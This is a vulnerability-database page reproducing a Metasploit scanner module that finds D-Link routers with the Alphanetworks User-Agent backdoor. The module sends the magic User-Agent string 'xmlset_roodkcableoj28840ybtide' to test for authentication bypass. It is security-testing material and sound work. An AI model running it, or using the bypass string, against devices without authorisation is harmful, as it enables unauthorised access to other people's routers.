Lucene search
K

D-Link User-Agent Backdoor Scanner

This module attempts to find D-Link devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This module has been tested successfully on a DIR-100 device with firmware version v1.13

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'           => 'D-Link User-Agent Backdoor Scanner',
      'Description'    => %q{
        This module attempts to find D-Link devices running Alphanetworks web interfaces affected
        by the backdoor found on the User-Agent header. This module has been tested successfully
        on a DIR-100 device with firmware version v1.13.
      },
      'Author'         =>
        [
          'Craig Heffner', # vulnerability discovery
          'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
        ],
      # First documented in detail by Craig, but looks like it's been known
      # (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
      'DisclosureDate' => "Oct 12 2013"
    )

  end

  def is_alpha_web_server?
    begin
      res = send_request_cgi({'uri' => '/'})
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return false
    end

    # Signatures:
    # * httpd-alphanetworks/2.23
    # * Alpha_webserv
    if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
      return true
    end

    return false
  end

  def run_host(ip)

    if is_alpha_web_server?
      vprint_good("#{ip} - Alphanetworks web server detected")
    else
      vprint_error("#{ip} - Alphanetworks web server doesn't detected")
      return
    end

    begin
      res = send_request_cgi({
        'uri'     => '/',
        'method'  => 'GET',
        'agent' => 'xmlset_roodkcableoj28840ybtide'
      })
    rescue ::Rex::ConnectionError
      vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
      return
    end

    # DIR-100 device with firmware version v1.13
    # not sure if this matches on other devices
    # TODO: Testing on other devices
    if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
      print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation